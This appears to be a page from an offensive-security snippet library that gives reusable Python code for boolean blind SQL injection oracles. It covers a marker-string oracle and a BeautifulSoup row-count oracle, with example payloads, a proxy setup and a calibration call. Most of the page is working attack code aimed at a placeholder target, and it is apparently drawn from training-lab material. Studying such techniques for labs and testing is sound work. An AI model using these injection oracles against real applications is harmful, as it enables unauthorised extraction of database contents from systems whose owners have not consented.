Boolean
Boolean oracle — the reusable core
Every blind attack reduces to a single function that maps an injected condition to True/False.
Blind injection comes down to one mechanism: a string is chosen that appears in the response only when the condition is false (or only when true), collapsing the entire HTTP round-trip into one boolean. Every length finder, char dumper and binary search simply calls this oracle() with different conditions. The marker must be chosen carefully — it must be stable across true/false and across unrelated noise (CSRF tokens, timestamps), or the dump fills with garbage.
FALSE_STRING = "available" # text present ONLY when the condition is FALSE
def oracle(s, condition):
params = {
"u": f"{known_user}' AND ({condition}) -- -"
}
r = s.get(url=CHECK_URL, params=params, verify=False, proxies=PROXIES)
return FALSE_STRING not in r.text # True => condition heldFind by: blind, boolean, oracle, true false, inference, injection, condition, sqli, xpath, ldap, signal, differentiator · Source: CWEE/Blind SQLi
Boolean (content-based) oracle via bs4 response diff
Boolean oracle that injects a condition and reads the rendered row count as the TRUE/FALSE signal.
A content-based oracle needs an observable difference between the TRUE and FALSE branches of an injected condition. Here the injection rides a category filter as ' OR (<condition>) -- -: a TRUE condition returns the full catalogue while a FALSE one returns only the default category. scrape_rows parses the response with BeautifulSoup and counts the rendered result tiles, so the comparison count > TRUE_ROWS collapses any boolean question into True/False. The same shape works with any stable diff when there is no list to scrape: substitute a marker string (marker in r.text), the response length (len(r.text)), or the status code. TRUE_ROWS is calibrated once against a known-true payload such as 1=1, then every subsequent call reuses that baseline.
import requests
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()
URL = "https://target/filter"
TRUE_ROWS = 12 # row count returned by a known-TRUE condition (calibrate once)
def scrape_rows(html):
# Count the result tiles the app renders; the number is the boolean signal.
soup = BeautifulSoup(html, "html.parser")
return len(soup.select("section.container-list-tiles > div"))
def oracle(condition):
# TRUE branch returns the full catalogue, FALSE branch only the default
# category -> the rendered row count separates the two outcomes.
payload = f"' OR ({condition}) -- -"
r = s.get(URL, params={"category": payload}, verify=False) # proxies=PROXIES to inspect
return scrape_rows(r.text) > TRUE_ROWS
print("[+] live" if oracle("1=1") else "[-] no diff - recheck sink/baseline")Rendered result tiles the scraper counts
<section class="container-list-tiles">
<div><h3>Item A</h3><span>$9.99</span></div>
<div><h3>Item B</h3><span>$4.50</span></div>
</section>Calibration call
[+] live # oracle("1=1") -> True (rows > baseline)Find by: boolean sqli, content-based, in-band, response diff, true false oracle, beautifulsoup, item count, OR 1=1 · Source: WSA/SQLi boolean in-band (bs4 content diff)